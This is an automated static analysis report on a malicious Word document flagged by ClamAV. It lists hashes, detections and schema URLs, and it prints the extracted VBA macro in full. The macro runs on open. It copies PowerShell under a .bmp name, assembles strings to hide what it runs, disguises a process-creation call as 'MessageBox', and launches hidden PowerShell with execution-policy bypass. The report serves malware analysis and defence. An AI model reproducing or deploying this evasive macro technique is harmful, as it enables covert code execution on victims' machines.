Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 940dc6827bf9127d…

MALICIOUS

Office (OOXML)

20.2 KB Created: 2021-03-23 16:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: cbe2593532bf591c41ad011017661d94 SHA-1: 7076329899f97afd786aaa94e88c08080e6d38c4 SHA-256: 940dc6827bf9127d6a25391490c4990ca6b76e5b399c26a837a643d2d2c92584
150 Risk Score

Heuristics 4

  • ClamAV: Doc.Malware.Valyria-10025240-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10025240-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2337 bytes
SHA-256: 4272959bd6469f2942db59a56292fa30a0880ab7709a0b8fa22414acd15b23cb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
    Private Type STA
    res0 As Long
    res1 As Long
    res2 As Long
    res3 As Long
    res4 As Long
    res15 As Long
    res14 As Long
    res13 As Long
    res12 As Long
    res11 As Long
    res10 As Long
    res5 As Long
    res6 As Integer
    res16 As Integer
    res17 As Long
    res7 As Long
    res8 As Long
    res9 As Long
End Type

    Private Type PROF
    arg1 As Long
    arg2 As Long
    arg3 As Long
    arg4 As Long
End Type
Private Declare Function MessageBox Lib "advapi32.dll" Alias "CreateProcessAsUserA" _
    (ByVal hToken As Long, _
    ByVal lpApplicationName As Long, _
    ByVal lpCommandLine As String, _
    ByVal lpProcessAttributes As Long, _
    ByVal lpThreadAttributes As Long, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    ByVal lpEnvironment As Long, _
    ByVal lpCurrentDirectory As String, _
    lpStartupInfo As STA, _
    lpProcessInformation As PROF) As Long
Public Declare Function HelloH Lib "kernel32" Alias "CopyFileA" ( _
    ByVal AExistingFileName As String, _
    ByVal ANewFileName As String, _
    ByVal AFailIfExists As Boolean _
    ) As Boolean




    



    
Sub AutoOpen()
    imagePath = "C:\\ProgramData\\user1.bmp"
    savePath = imagePath + " -execu bYp -WiNd HiDd -c $profile = $env:temp+'\zurubatesting'; New-Item -Path $profile -ItemType 'file' -Force"
    Dim pshellPath
    mars = "pow"
    venus = "ershe"
    uranus = "ll.exe"
    pluton = mars & venus & uranus
    earth = "Wind"
    sun = "owsPow"
    moon = "erShell"
    satellite = earth & sun & moon & satellite
        pshellPath = "C:\\Windows\\System32\\" & satellite & "\\v1.0\\" & pluton

    HelloH pshellPath, imagePath, True
    Dim si As STA
    Dim pi As PROF
        si.res0 = Len(si)
        si.res5 = &H1&
        si.res6 = 0
    Result = MessageBox(0&, 0&, savePath, 0&, 0&, False, _
     CREATE_NO_WINDOW, _
    0&, "C:\\ProgramData", si, pi)
    
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20992 bytes
SHA-256: dfdf6de2471dcfbbb5818b51f7fdd5c3fb3c1dcb4d2710e6538ddd9e97bd89a3
Detection
ClamAV: Doc.Malware.Valyria-10025240-0
Obfuscation or payload: unlikely